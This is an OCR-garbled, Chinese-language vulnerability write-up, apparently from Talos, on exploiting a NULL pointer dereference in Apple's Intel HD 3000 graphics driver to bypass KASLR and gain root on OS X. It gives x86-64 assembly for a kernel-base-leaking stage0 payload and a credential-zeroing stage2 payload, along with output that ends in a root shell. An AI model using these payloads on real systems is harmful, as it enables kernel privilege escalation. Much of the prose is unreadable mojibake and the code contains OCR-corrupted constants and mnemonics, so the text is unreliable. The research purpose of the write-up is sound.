TSI . 483 KASLR i APPLE BIFZIRENIZEFE

BH Talos i3 A 5 Piotr Bania &L Apple Intel HD 3000 EFIRENFIEF + &£ I —1
imE OESRMEXIEN)  EARXH, RITERASIXIAR, HiFAFEREXRE,
REZSE KASLR HFAAZRREAMRNITEERENEND. EERHREEE<FA
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AR B AT

EMR IR, Talos ZIELE Intel HD Graphics 3000 GPU B 7t Apple OSX i+ E#7F
E—=IEEEGHES I ARE (5 10.0.0 fR) , WATRERR:

_ text:ARABABAAAAEIANIT loc_1ARTT: i CODE XREF: I0Gen5755Shared: ::new_textore
text:BBOB0000G081AR1T mow ri1h, cs:off SAHBBA

_ text:ARAROBORBRETARTT mow rhx, [ri4]

_ text:ABABABABAOEIANRET add 13, rax
text:ABO000000081ARZY lea rax, [rbhx+r13+3]

_ text:ARARABARARINAREY neq rhx

_ text:ABABABABAOEIANEC and Fhx, rax
text:ABOB00008081ARZF mow rdi, [rd=+18h] ; rdx=8 {null pointer]}

_ text:UREHORHRO0M AR3E Moy r1aE, rdx

_ text:ABABABABAOEIANEE o eax, [rdisineon]
text:BBE0BBA00081ARZC Ry rex, cs:off S68A8

_ text:UREHORHO0MI ARLE mow cl, [rox]

_ text:ABABABA0A0ETANNS shl rax, cl
text:BBE00B000081ARNLT lea recx, klLargeCommandSizeHin

__text:aRAR0OAA00 ARSI now ecx, [rox]

_ text:0DpoooaooanoInnso add BCK, ECX
text:BBE000000081ARS2 sub eax, ecx

_ text:UREHORHBO0M ARSY chp rhx, rax

_ text:oppopooaooaneInnsy ja loc_1ACEC

_ text:0BB000000081AA%D R [rbhp+var 54], esi

_ text:UHEHOREHA0ET ARG D maw rax, [l'l'.lij

_ text:ABAOOBABRREIANGS i esi, 168h

_ text:0BBB00000081AAGE call quord ptr [ra=+%860h]

BEFERT, BTt Ox1aa2f LArZ545IH, #id I0ConnectCallMethod &5 % =] [El 2
WHIEFLEE—NMEERAWABESSHAKEIR. EXMIBERT, RDX FEELSIEME
NULL. FRIESESERNTATANRNEZESE, ANMmSBAZER.

BAMLER, WREUFI—MAMIELERSZHE, B2 0x1aa68 LrIiESHERIRE
AREWAT &R, MRBNEXMXFIES, BREXBUREMARHIELE RS KR
RARMKBIITRE. A, HOMATEMEIX—<BE?
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Windows &4 ¥ NULL TiiREf, (BRIX7E OS X RE LR AT, FTHEEFHE
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27 OS X it T NULL TIARES, FHUTIATHRIE:

o B 32 LRI
o« RIFEEAN “-m32-WI-pagezero_size,0 -03” .

WXL, FHRNFEIDHIEIET S NULL 71 (BEAMS, #E—M NULL HutitFF
ISHIREXIE) « R IRGI(ERIE Ox1aa54 A RILLEH3E S BT Ox1aa57 AbHY JA Bkit
1B8%, BT aRELEE 0x12268 LrIEARAES . BHTHANESIT RDI & (F£ Ox1aa2f
), BRLmEES] T Ox1aa36 LAY EAX 1. BRARRENEITH] EAX (RAX BI—ER4) , K
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SMEP/KASLR HifE, It SBEEFI/IMNUREA EMBERNZNEF L. BT RPN
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W& FEE) MSR H7E:5 (B8EMT 64 (I HrIA#% RIP SYSCALL £ H) iEEEIE,
HEEAHEUERAZ OS X 8,

save_regsod
; get msr entry
mov rcx, 8Coee0882h ; Lstar
rdmsr ;i MSR[ecx] —= edx:eax
shl rdx, 32
or rax, rdx

; find kernel addr - scan backwards

MAX_KERNEL_SCAN_SIZE equ 12080h
KERNEL_SIG equ @1080807FEEDFACFh
PAGE_SIZE equ 1008h

mov rcx, MAX_KERNEL _SCAN_SIZE
and rax, not BFFFFFh

xor rdx, rdx

mov r8, KERNEL_SIG

scan_loop:
sub rax, PAGE_SIZE
dec rcx
jz scan_done

; is sig correct?
cmp gword [rax], r8
jnz scan_Lloop

mov rdx, rax

scan_done:
: store the addr - rdx kernel addr, @ if not found
lea rcx, [shell_start]
mov gword [rcx], rdx

load_regs64d
: for the vulnerable function to exit peacefully
xor rax, rax

Xor ris, ris

ret

RIE, BAMFXLERDEER stage0 513, HIFHLZBIEFIERIERF. X4, FRIINZ
FAEIRITE A NULL TIRT 8 NFITHIARXbIE.
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Copying the stagel payload 0x00001000 - 0x00001071
Setting up the RIP to 0x00001000
Copying trigger data

Making stagel call
leaked kernel address @xffffff8021e00000
kernel address leaked, success!

BRI ! BRISAREUN T IHEEASE 2 MrERME R ERN APl i FXEE, XL
AP 3t FRFA BT & I PR A AT R

MAEFRNSLMEMBRIAZMUE, FFUAZTERER API #iik (_current_proc,
_proc_ucred, _posix_cred_get) E—#IEERFHHEF. X5 R MACH-O fEAT2RREAL AT
15 3], FTRAFRATEREBREIZE 2 L.

2 M- ITERE

BRIZILATHRITE LT AR API UERIREYT, TEMERESI AR TREM R
FREBT . ZNREMEIFARNAEIRRRRA AR, HARITERBE. KERBESH
1TWER) OS X A% APl RFARIIR -

save_regs64
mov rax, qword [api_current_procl
call rax
mav rdi, rax 3 rdi = cur_proc

3 system v abi - rdi first arg
mov rax, qword [api_proc_ucred]
call rax

3 rax = cur_ucred
mav rdi, rax

mov rax, qword [api_posix_cred_get]
call rax

; rax = pcred
mov dword [rax], @
mov dword [rax+8], @

load_regs6d
xor rax, rax
Xxor rls, ri5
ret
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RAMELER - ERNTERFRITEINR:

ResolveApi: using kernel addr @xffffff8021c0000@ (file base = Oxffffff8000200000)
ResolveApi: _current_proc = @xffffff8022437a60

ResolveApi: _proc_ucred = @xffffff80223a9af@

ResolveApi: _posix_cred_get = @xffffff802237e780

Commencing stage 2

Stage2: preparing the stage? payload

Stage2: Copying the stageZ payload @0x00001000 - 0x00001071

Stagel: Setting up the RIP to 0x00001000

StageZ: Copying trigger data
Stagel: Making stagel call
StageZ: success, got root!
StageZ: now executing shell
sh-3.2# whoami

root

sh-3.2#
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E$Y¢,ﬁﬂ?ﬂ?%ﬁ%%%mﬂﬂﬁ%$ﬂﬁﬂm TiRAENEIE. BT ARE At
HE, FAMAUAEETELREEL, REHEEBMFRYENEEE, %id KASLR, RESR
IR HERRLSEE KASLR MIARIRRBERRAR, T W& ERE X L X B IY
HHEMRKEY. BR Talos HATFHRMENKGRE, HAEARENSEMLUIEE.

Talos B HERAF RER BT L EEFANZ LRI, AERMNOEFIKERT &M
URBANMEHXEH#RZERIP. ZTFNTHRRT XA TRIFESE PR ARH
Z2kT, MAERNEBEZENEESZEeFLEWHARNINEF, HMRESHER
Mrmieet.
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https://qgithub.com/talos-vulndev/advisories/tree/master/ TALOS-2016-0088/
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[1] - https://www.blackhat.com/docs/eu-15/materials/eu-15-Todesco-Attacking-The-XNU-

Kernal-In-El-Capitain.pdf
[2] - http://www.uninformed.org/?v=3&a=4&t=txt
[3] - https://github.com/kpwn/tpwn/blob/master/lsym.m
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